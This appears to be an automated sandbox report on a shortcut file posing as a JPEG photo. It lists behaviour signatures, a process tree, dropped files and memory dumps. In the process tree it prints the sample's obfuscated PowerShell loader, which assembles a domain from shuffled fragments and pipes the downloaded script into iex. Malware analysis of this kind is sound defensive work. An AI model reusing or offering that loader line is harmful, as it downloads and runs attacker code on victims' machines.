Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260728_004931.jpg.lnk
  • Size 1KB
  • Sample260728-mcap2svajd
  • SHA256 53f51b6002c1aac15395fd2b3a57fc4f95b8be1aada40c282d4f58acffb5fa06
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_004931.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ervpho','r','nstaynow.','toi','shop','es')[1,5,0,3,2,4] -join $hddG8W) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5092
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5532
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1B3F.tmp" "c:\Users\Admin\AppData\Local\Temp\zzffv3bn\CSC2CBF031B82EE47A791F335582B4CB7C.TMP"
          4⤵
            PID:5868

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES1B3F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES1B3F.tmp
          • Size 1KB
          • SHA256 64e07c210152f1aca99096c6ccdda8ee3a0c095b813f6d85e8310b329872e12e
          • MD5 SHA1 SHA512 TLSH

          zzffv3bn.dll

          • Path C:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.dll
          • Size 3KB
          • SHA256 5ce46d14f88e1774c4b7c68e07e74dc11c76459b447cc58cf33a41dc2a3dc67d
          • MD5 SHA1 SHA512 TLSH

          CSC2CBF031B82EE47A791F335582B4CB7C.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\CSC2CBF031B82EE47A791F335582B4CB7C.TMP
          • Size 652B
          • SHA256 1eafe8ec2dc58cc34eda3035497adea3c7613988741cdf3b8831d70bf5259415
          • MD5 SHA1 SHA512 TLSH

          zzffv3bn.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          zzffv3bn.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.cmdline
          • Size 369B
          • SHA256 3a73e67a4d55c6734aaf005de1ae1f55b10612e85b7c8348d31a6820a022c9f7
          • MD5 SHA1 SHA512 TLSH

          memory/5092-14-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-8-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-11-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-12-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-13-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-2-0x00007FFAD210F000-0x00007FFAD2110000-memory.dmp

          memory/5092-15-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-16-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-9-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-10-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-29-0x00000159AFE20000-0x00000159AFE28000-memory.dmp

          memory/5092-7-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-6-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-5-0x00000159AF960000-0x00000159AF982000-memory.dmp

          memory/5092-30-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-31-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

          memory/5092-35-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp